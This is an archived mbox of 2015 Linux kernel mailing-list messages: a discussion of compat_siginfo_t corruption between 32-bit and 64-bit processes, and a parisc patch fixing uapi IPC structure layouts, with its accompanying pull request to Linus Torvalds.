Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZvIEh-0000RA-Eb
	for lnx-sparclinux@plane.gmane.org; Sun, 08 Nov 2015 06:09:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753153AbbKHFJt (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Sun, 8 Nov 2015 00:09:49 -0500
Original-Received: from mail-oi0-f45.google.com ([209.85.218.45]:36386 "EHLO
	mail-oi0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750930AbbKHFJr (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Sun, 8 Nov 2015 00:09:47 -0500
Original-Received: by oiww189 with SMTP id w189so61443648oiw.3
        for <sparclinux@vger.kernel.org>; Sat, 07 Nov 2015 21:09:47 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=amacapital_net.20150623.gappssmtp.com; s=20150623;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=iUdq+xQlFI1K9CjZtVMtYtwpXIgIH3Ahp4jA7ZT5Mhs=;
        b=Uf2Evya8D1Ze8Es6wvSSGY8/+kK9eJAmLWAYa6VhE1T/F4SvTivbiSZMp3yhLmeY1Q
         rLDqzNNQbyo8KQlDkuSnQ04Q1tPx7jTY7GusZ1A/KJnAAhjtTHQLQbeS3CpqWAT5Za0U
         W+EjO1qcWM3y4guFnV4Ex5z9TbzfLRCj+xueXXiexC6w5RB7t4DIoSXqoQLaTcAxhN35
         fiC4XhD4IxZWZBtagesaw/omFh8WxLXkL5RjtSCi3QXKm50i+MwKjwq2jl3Nz82gbw9L
         IEEXm1HTshqFzzLuoEkmApGXn+dtC58Tldoz2jyaISUQDmCBq0x08eY5CWXr0SEZZ+xC
         gZMA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type;
        bh=iUdq+xQlFI1K9CjZtVMtYtwpXIgIH3Ahp4jA7ZT5Mhs=;
        b=U/YfevwKBi8ECdVA92bhWtFz5zaX+NX754dYH9n0sCTzn52FB/an4oAwT9OYISWYv7
         eTMy5YJx+UjDaNb/0GdbYyjgabL/L70xqYOdT/ZmyUs3qP4coMw+fMH280Y/taBk7RVh
         La2ngTSf6SgMMH9KpMSK1WQij4CbgFC259NiFIzzK0UTy8i3/L1P58Qc+JZ33E6NTe9F
         IsVWlLAaJTD6Zm8JSTawxGStpfob0tbg9uDV+FMk6ITroSkK+9Oz/MqNVE1fimU+1rFC
         ESLH+egpZj5qS0CSXJhI5+QV8/F6G2AlsAhmhTO02nNwZS+2LNp8Cb8znLGQPoDoTp/g
         sCmA==
X-Gm-Message-State: ALoCoQlilo/pSX3yXXztXqYIA/0eLwPJhBoXCDuvYTP4RHKYFeF6N9T+qXai0Tltu+7M9l8O9mOi
X-Received: by 10.202.204.5 with SMTP id c5mr6207097oig.93.1446959387024; Sat,
 07 Nov 2015 21:09:47 -0800 (PST)
Original-Received: by 10.202.44.71 with HTTP; Sat, 7 Nov 2015 21:09:27 -0800 (PST)
In-Reply-To: <1446684640-4112-1-git-send-email-amanieu@gmail.com>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21730 gmane.linux.kernel:2080729 gmane.linux.ports.arm.kernel:453745 gmane.linux.ports.mips.general:51019 gmane.linux.ports.parisc:26125 gmane.linux.ports.ppc64.devel:120312 gmane.linux.file-systems:101834 gmane.linux.kernel.cross-arch:29625 gmane.linux.kernel.api:16129
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21730>

On Wed, Nov 4, 2015 at 4:50 PM, Amanieu d'Antras <amanieu@gmail.com> wrote:
> One issue that isn't resolved in this series is sending signals between a 32-bit
> process and 64-bit process. Sending a si_int will work correctly, but a si_ptr
> value will likely get corrupted due to the different layouts of the 32-bit and
> 64-bit siginfo_t structures.

This is so screwed up it's not even funny.

A 64-bit big-endian compat calls rt_sigqueueinfo.  It passes in (among
other things) a sigval_t.  The kernel can choose to interpret it as a
pointer (call it p) or an integer (call it i).  Then (unsigned long)p
= (i<<32) | [something].  If the number was an integer to begin with
*and* user code zeroed out the mess first, then [something] will be 0.
Regardless, p != i unless they're both zero.

If the result gets delivered to a signalfd, then it's plausible that
everything could work.  If it gets delivered to a 64-bit siginfo, then
all is well because it's in exactly the same screwed up state it was
in when the signal gets sent.

If, however, it's delivered to a compat task, wtf is the kernel
supposed to do?  We're effectively supposed to convert a 64-bit
sigval_t to a 32-bit sigval_t.  On a little-endian architecture, we
can fudge it because it doesn't really matter whether we consider the
pointer or the int to be authoritative.  I think that, on big-endian,
we're screwed.

BTW, x86 has its own set of screwups here.  Somehow cr2 and error_code
ended up as part of ucontext instead of siginfo, which makes
absolutely no sense to me and bloats task_struct.

--Andy
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fixes and cleanups in kernel uapi header files
Date: Sun, 8 Nov 2015 20:24:17 +0100
Lines: 198
Approved: news@gmane.org
Message-ID: <20151108192417.GA4633@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1447010680 15415 80.91.229.3 (8 Nov 2015 19:24:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2015 19:24:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 08 20:24:33 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZvVZp-0002fU-2G
	for glpp-linux-parisc@plane.gmane.org; Sun, 08 Nov 2015 20:24:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751328AbbKHTYc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Nov 2015 14:24:32 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:60397 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750985AbbKHTYb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Nov 2015 14:24:31 -0500
Original-Received: from ls3530.box ([92.203.59.109]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0LeN3N-1aDn1U0lbB-00q8Bi; Sun, 08 Nov 2015 20:24:21
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:kbmqBt95uqqnfzs7N8m0ogtp70KFGNYehWVf2wPsOTyCf8DNJTf
 8u3m0egl2bJLQramEOU/deONVWoWK1HA8za8XuydtlrZV8YThPc403xW+EIOW51ydCRI4Gg
 +ME2y80CeCT4UTjRLvmd3wdUyUbouJu5kQSnDzDQv5VmBTcUzmpoIppibhCaWDaf3xx6nIE
 mQwLXSF8zs73N0d06YgFw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:o2Q6F03SBJ4=:w+qfqNsIKlWjGG6qktiUTu
 /74wCf+yoL4XA662G6TRUbA9HbXgt8fnuyqdEzX/fljWmwEiFgETomFfnuFS//XxzDW5fpKhQ
 bVSejxMW/x4bUVhybFh8U/Pa4wvL99g1Bh8Z/tXTQoaYg5VEHGLYPlv/pf1hu/5VsoQsQoQ7b
 CCgJmwz5aKArgSRsTH9h22vM0cL6uhJ9ZocfcRWfUc/68t+3yvalQR2TwiYVF3MC2EVF+yDMT
 PX6+ZjSPTG1iuJNenOpxj2bH0rdOjCooW+0s3o181DRNhnpvSb+dIShk2lN8hcX/qqdZULo8w
 bY8lieiZR62eK/4EeybMsHCMuqXRuRDE9GJfHqSjsAqlPEK3Nf56q28MkjSCFcDhD4LNXM43c
 Hu7XUrzCjOLHs63lkuyiUttCiEMSqQhByL3TIqglWO37Ve05iwvv9aKatY4V0qMj/G9QwI1gN
 x0bOJiUc3WJ3kCFCV3pLLQXnQiWC/1OBmwDbqqzcQUa3uo7FsUmQRxKBx6jYVAtg736GJrjZw
 Mknpz6napSgSTxjfOdVZaadVnhIic0rliHGRHufjHWYs/vW+DFVFLxATa8/FMOqj7g9AsAK9W
 WDUahTVTafuT9nEcadUSaIFa43MivhcGEeXbeTmvpGHjmIwTaWvF4D2sKUYDf5MvH9o0si0Hb
 tMCD7yDKUYFOm/uzS27tWQWs27JrDtHZ/Nb6bheXLiT1y2mSPdNKqGwBzjKdCC2IydNIFCK9b
 VFHmj9nPKlaA3poFivLcT557k0Rb70ngnn2NwPm1u+ELBw320qTGvvzYhEY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26127
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26127>

This patch fixes some bugs and partly cleans up the parisc uapi header
files to what glibc defined:
- compat_semid64_ds was wrong and did not take the endianess into
  account
- ipc64_perm exported userspace types which broke building userspace
  packages on debian (e.g. trinity)
- ipc64_perm needs to use a 32bit mode_t on 64bit kernel
- msqid64_ds and semid64_ds needs unsigned longs for various struct members
- shmid64_ds exported size_t instead of __kernel_size_t

And finally add some compile-time checks for the sizes of those structs
to avoid future breakage.

Runtime-tested with the Linux Test Project (LTP) testsuite.

Cc: <stable@vger.kernel.org> # 3.18+
Reviewed-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index 94710cf..0448a2c 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -206,10 +206,10 @@ struct compat_ipc64_perm {
 
 struct compat_semid64_ds {
 	struct compat_ipc64_perm sem_perm;
-	compat_time_t sem_otime;
 	unsigned int __unused1;
-	compat_time_t sem_ctime;
+	compat_time_t sem_otime;
 	unsigned int __unused2;
+	compat_time_t sem_ctime;
 	compat_ulong_t sem_nsems;
 	compat_ulong_t __unused3;
 	compat_ulong_t __unused4;
diff --git a/arch/parisc/include/uapi/asm/ipcbuf.h b/arch/parisc/include/uapi/asm/ipcbuf.h
index bd956c4..790c411 100644
--- a/arch/parisc/include/uapi/asm/ipcbuf.h
+++ b/arch/parisc/include/uapi/asm/ipcbuf.h
@@ -1,6 +1,9 @@
 #ifndef __PARISC_IPCBUF_H__
 #define __PARISC_IPCBUF_H__
 
+#include <asm/bitsperlong.h>
+#include <linux/posix_types.h>
+
 /*
  * The ipc64_perm structure for PA-RISC is almost identical to
  * kern_ipc_perm as we have always had 32-bit UIDs and GIDs in the kernel.
@@ -10,16 +13,18 @@
 
 struct ipc64_perm
 {
-	key_t           key;
-	uid_t           uid;
-	gid_t           gid;
-	uid_t           cuid;
-	gid_t           cgid;
+	__kernel_key_t		key;
+	__kernel_uid_t		uid;
+	__kernel_gid_t		gid;
+	__kernel_uid_t		cuid;
+	__kernel_gid_t		cgid;
+#if __BITS_PER_LONG != 64
 	unsigned short int	__pad1;
-	mode_t          mode;
+#endif
+	__kernel_mode_t		mode;
 	unsigned short int	__pad2;
 	unsigned short int	seq;
-	unsigned int	__pad3;
+	unsigned int		__pad3;
 	unsigned long long int __unused1;
 	unsigned long long int __unused2;
 };
diff --git a/arch/parisc/include/uapi/asm/msgbuf.h b/arch/parisc/include/uapi/asm/msgbuf.h
index 3421389..2e83ac7 100644
--- a/arch/parisc/include/uapi/asm/msgbuf.h
+++ b/arch/parisc/include/uapi/asm/msgbuf.h
@@ -27,13 +27,13 @@ struct msqid64_ds {
 	unsigned int   __pad3;
 #endif
 	__kernel_time_t msg_ctime;	/* last change time */
-	unsigned int  msg_cbytes;	/* current number of bytes on queue */
-	unsigned int  msg_qnum;	/* number of messages in queue */
-	unsigned int  msg_qbytes;	/* max number of bytes on queue */
+	unsigned long msg_cbytes;	/* current number of bytes on queue */
+	unsigned long msg_qnum;		/* number of messages in queue */
+	unsigned long msg_qbytes;	/* max number of bytes on queue */
 	__kernel_pid_t msg_lspid;	/* pid of last msgsnd */
 	__kernel_pid_t msg_lrpid;	/* last receive pid */
-	unsigned int  __unused1;
-	unsigned int  __unused2;
+	unsigned long __unused1;
+	unsigned long __unused2;
 };
 
 #endif /* _PARISC_MSGBUF_H */
diff --git a/arch/parisc/include/uapi/asm/posix_types.h b/arch/parisc/include/uapi/asm/posix_types.h
index b934425..f3b5f70 100644
--- a/arch/parisc/include/uapi/asm/posix_types.h
+++ b/arch/parisc/include/uapi/asm/posix_types.h
@@ -7,8 +7,10 @@
  * assume GCC is being used.
  */
 
+#ifndef __LP64__
 typedef unsigned short		__kernel_mode_t;
 #define __kernel_mode_t __kernel_mode_t
+#endif
 
 typedef unsigned short		__kernel_ipc_pid_t;
 #define __kernel_ipc_pid_t __kernel_ipc_pid_t
diff --git a/arch/parisc/include/uapi/asm/sembuf.h b/arch/parisc/include/uapi/asm/sembuf.h
index f01d89e..c20971b 100644
--- a/arch/parisc/include/uapi/asm/sembuf.h
+++ b/arch/parisc/include/uapi/asm/sembuf.h
@@ -23,9 +23,9 @@ struct semid64_ds {
 	unsigned int	__pad2;
 #endif
 	__kernel_time_t	sem_ctime;		/* last change time */
-	unsigned int	sem_nsems;		/* no. of semaphores in array */
-	unsigned int	__unused1;
-	unsigned int	__unused2;
+	unsigned long 	sem_nsems;		/* no. of semaphores in array */
+	unsigned long	__unused1;
+	unsigned long	__unused2;
 };
 
 #endif /* _PARISC_SEMBUF_H */
diff --git a/arch/parisc/include/uapi/asm/shmbuf.h b/arch/parisc/include/uapi/asm/shmbuf.h
index 8496c38..750e13e 100644
--- a/arch/parisc/include/uapi/asm/shmbuf.h
+++ b/arch/parisc/include/uapi/asm/shmbuf.h
@@ -30,12 +30,12 @@ struct shmid64_ds {
 #if __BITS_PER_LONG != 64
 	unsigned int		__pad4;
 #endif
-	size_t			shm_segsz;	/* size of segment (bytes) */
+	__kernel_size_t		shm_segsz;	/* size of segment (bytes) */
 	__kernel_pid_t		shm_cpid;	/* pid of creator */
 	__kernel_pid_t		shm_lpid;	/* pid of last operator */
-	unsigned int		shm_nattch;	/* no. of current attaches */
-	unsigned int		__unused1;
-	unsigned int		__unused2;
+	unsigned long		shm_nattch;	/* no. of current attaches */
+	unsigned long		__unused1;
+	unsigned long		__unused2;
 };
 
 struct shminfo64 {
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 0bef864..2fef816 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -23,6 +23,7 @@
 #include <linux/unistd.h>
 #include <linux/nodemask.h>	/* for node_online_map */
 #include <linux/pagemap.h>	/* for release_pages and page_cache_release */
+#include <linux/compat.h>
 
 #include <asm/pgalloc.h>
 #include <asm/pgtable.h>
@@ -30,6 +31,7 @@
 #include <asm/pdc_chassis.h>
 #include <asm/mmzone.h>
 #include <asm/sections.h>
+#include <asm/msgbuf.h>
 
 extern int  data_start;
 extern void parisc_kernel_start(void);	/* Kernel entry point in head.S */
@@ -590,6 +592,20 @@ unsigned long pcxl_dma_start __read_mostly;
 
 void __init mem_init(void)
 {
+	/* Do sanity checks on IPC (compat) structures */
+	BUILD_BUG_ON(sizeof(struct ipc64_perm) != 48);
+#ifndef CONFIG_64BIT
+	BUILD_BUG_ON(sizeof(struct semid64_ds) != 80);
+	BUILD_BUG_ON(sizeof(struct msqid64_ds) != 104);
+	BUILD_BUG_ON(sizeof(struct shmid64_ds) != 104);
+#endif
+#ifdef CONFIG_COMPAT
+	BUILD_BUG_ON(sizeof(struct compat_ipc64_perm) != sizeof(struct ipc64_perm));
+	BUILD_BUG_ON(sizeof(struct compat_semid64_ds) != 80);
+	BUILD_BUG_ON(sizeof(struct compat_msqid64_ds) != 104);
+	BUILD_BUG_ON(sizeof(struct compat_shmid64_ds) != 104);
+#endif
+
 	/* Do sanity checks on page table constants */
 	BUILD_BUG_ON(PTE_ENTRY_SIZE != sizeof(pte_t));
 	BUILD_BUG_ON(PMD_ENTRY_SIZE != sizeof(pmd_t));
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Oleg Nesterov <oleg@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH v2 00/20] Fix handling of compat_siginfo_t
Date: Mon, 9 Nov 2015 16:12:04 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20151109151204.GA10760@redhat.com>
References: <1446684640-4112-1-git-send-email-amanieu@gmail.com> <CALCETrWKK_REdX7TJO8X7jC=8k=YdgJH_txXpC4Pdzn-tukg5A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1447078564 20033 80.91.229.3 (9 Nov 2015 14:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 14:16:04 +0000 (UTC)
Cc: "Amanieu d'Antras" <amanieu@gmail.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	sparclinux@vger.kernel.org,
	Linux FS Devel <linux-fsdevel@vger.kernel.org>,
	linux-arch <linux-arch@vger.kernel.org>,
	Linux API <linux-api@vger.kernel.org>,
	Kenton Varda <kenton@sandstorm.io>
To: Andy Lutomirski <luto@amacapital.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 09 15:16:03 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZvnEn-0007de-C9
	for glpp-linux-parisc@plane.gmane.org; Mon, 09 Nov 2015 15:16:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751620AbbKIOQA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Nov 2015 09:16:00 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:50938 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751509AbbKIOP7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Nov 2015 09:15:59 -0500
Original-Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26])
	by mx1.redhat.com (Postfix) with ESMTPS id 0B36191EAA;
	Mon,  9 Nov 2015 14:15:59 +0000 (UTC)
Original-Received: from tranklukator.brq.redhat.com (dhcp-1-102.brq.redhat.com [10.34.1.102])
	by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id tA9EFslj004411;
	Mon, 9 Nov 2015 09:15:55 -0500
Original-Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500
	oleg@redhat.com; Mon,  9 Nov 2015 16:12:09 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <CALCETrWKK_REdX7TJO8X7jC=8k=YdgJH_txXpC4Pdzn-tukg5A@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26128 gmane.linux.kernel:2081491 gmane.linux.ports.arm.kernel:453926 gmane.linux.ports.mips.general:51025 gmane.linux.ports.ppc64.devel:120322 gmane.linux.ports.sparc:21733 gmane.linux.file-systems:101873 gmane.linux.kernel.cross-arch:29630 gmane.linux.kernel.api:16170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26128>

On 11/07, Andy Lutomirski wrote:
>
> On Wed, Nov 4, 2015 at 4:50 PM, Amanieu d'Antras <amanieu@gmail.com> wrote:
> > One issue that isn't resolved in this series is sending signals between a 32-bit
> > process and 64-bit process. Sending a si_int will work correctly, but a si_ptr
> > value will likely get corrupted due to the different layouts of the 32-bit and
> > 64-bit siginfo_t structures.
>
> This is so screwed up it's not even funny.

Agreed,

> A 64-bit big-endian compat calls rt_sigqueueinfo.  It passes in (among
> other things) a sigval_t.  The kernel can choose to interpret it

I always thought that the kernel should not interpret it at all. And indeed,
copy_siginfo_to_user() does

	if (from->si_code < 0)
		return __copy_to_user(to, from, sizeof(siginfo_t))

probably copy_siginfo_to_user32() should do something similar, at least
it should not truncate ->si_code it it is less than zero.

Not sure what signalfd_copyinfo() should do.

But perhaps I was wrong, I failed to find man sigqueueinfo, and man
sigqueue() documents that it passes sigval_t.


> BTW, x86 has its own set of screwups here.  Somehow cr2 and error_code
> ended up as part of ucontext instead of siginfo, which makes
> absolutely no sense to me and bloats task_struct.

Yes, and probably ->ip should have been the part of siginfo too. Say,
if you get SIGBUS you can't trust sc->ip if another signal was dequeued
before SIGBUS, in this case sc->ip will point to the handler of that
another signal. That is why we have SYNCHRONOUS_MASK and it helps, but
still this doesn't look nice.

Oleg.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture updates for v4.4
Date: Mon, 9 Nov 2015 15:50:05 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20151109145005.GA12624@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1447080658 24235 80.91.229.3 (9 Nov 2015 14:50:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 14:50:58 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Nov 09 15:50:49 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZvnmP-00055x-Cd
	for glk-linux-kernel-3@plane.gmane.org; Mon, 09 Nov 2015 15:50:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752340AbbKIOug (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 9 Nov 2015 09:50:36 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:53562 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752117AbbKIOuU (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 9 Nov 2015 09:50:20 -0500
Original-Received: from ls3530.box ([92.203.28.97]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0Mcmmn-1ZeY2C0Dnl-00Hwce; Mon, 09 Nov 2015 15:50:09
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:pmrp8YgHphYlH7uIM7FKLUmdxlImzpnyCulBJZv3MEUmdPm1Ew7
 VLJtCncF1K/wSYtfnENaPi7giYtAg3ixh78VKUYduhDjSMFNVjZkiIOwELXzVUkKthBmGrv
 iFpevZmGlkw6EPe1S4v/35cDLvZGhUpxxcjQoVkaCBS3Z9UDa5+xqtsSQku0OlDt7Xx8GLP
 1gwmah9BLyIaIXR/uddhg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ZYkbcNaJCaU=:ABCG44fBfd0X7eRVKTMVC5
 YUgQ0zmWjnAZE3nLNYRXH0xcgkEJIMEMh11zlr5hwGr8m4rBeibbU+Nf9MS8YXrJaKQUgHjxV
 6V9g6foDfZ7WYBpjdePSsMeitRx5CJaSkMxqZsjSHqi0IchcR2SIxhg6mFsU4L0pQ6gSqCvew
 +iTRpQQax61I3m/j+v/tSMzdG6PSAIkJoyOWfIwkkLMlFYpMY2W8xdFdW/g+Uiq2NfHwAH4Tn
 DhAshExruqyAU59p08xy7x/NXMZrMqm6B4E6/ww6hBL4p1PaUdJcbMy33cjd7VnICbgKytd+J
 G6lW7rJlbyVDmW+TDZYPfXvZ2/LMQwCY7NLnglraCp2YKgwKyG3oB1rAPgGthxrcdb3LW9P6q
 k3d5nGxbr+sw10DMtjpRJ0QEn+eRTGbUxAKZcuOM2D2/KtnrW9e6Up/QQCLuDGQM9F1v9j2Nj
 NIR2uExSxIwIuTrkNisiHeTuIJQdYIiDSLhm/K466RUrO+Al5F1GjkUxiUq/rmhR1O8SFCr2F
 PGC/layxWxTkfsdO1wVWmg1HPUID6ivPTX1/otP3yWeWdJBZ2BAQOqPYmPV9VjBcQ21UYl6fJ
 cw+NxA3IkZF+qg45tnEmT2aTwSdc4fwAb6QDz7Y7EP12GvzytuO4PhKHlSNcra+sUuXOhsjqx
 1z8Gth36vaBag2iK+bPwdefXkSNERuTO6SIJiVuB8yhUXTdybGuCNe/dbvGaU0Wp5s8LSdZ15
 huHJsimvKwvBQpwq+n4nOg6TbI49IWzo5pxYG0HXLKzhxlq8HG7ReuBYqdA=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2081529 gmane.linux.ports.parisc:26129
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2081529>

Hi Linus,

please pull latest patches for the parisc architecture for kernel v4.4 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.4-1

We have two patches in here:

1. The parisc uapi headers have been screwed up since quite some time. This
patch fixes some bugs (e.g. endianess not respected in compat_semid64_ds) and
cleans them up (e.g. uid_t was used instead of __kernel_uid_t) so that they can
be used by userspace again. This patch has been reviewed by Arnd Bergmann and
is scheduled for stable kernel series.

2. Drop the hpux_stat64 struct from stat.h, we do not support HP-UX binaries
since kernel 4.0.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (2):
      parisc: Drop hpux_stat64 struct from stat.h header file
      parisc: Fixes and cleanups in kernel uapi header files

 arch/parisc/include/asm/compat.h           |  4 ++--
 arch/parisc/include/uapi/asm/ipcbuf.h      | 19 +++++++++++-------
 arch/parisc/include/uapi/asm/msgbuf.h      | 10 +++++-----
 arch/parisc/include/uapi/asm/posix_types.h |  2 ++
 arch/parisc/include/uapi/asm/sembuf.h      |  6 +++---
 arch/parisc/include/uapi/asm/shmbuf.h      |  8 ++++----
 arch/parisc/include/uapi/asm/stat.h        | 31 ------------------------------
 arch/parisc/mm/init.c                      | 16 +++++++++++++++
 8 files changed, 44 insertions(+), 52 deletions(-)

From - Thu Nov 08 21:38:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
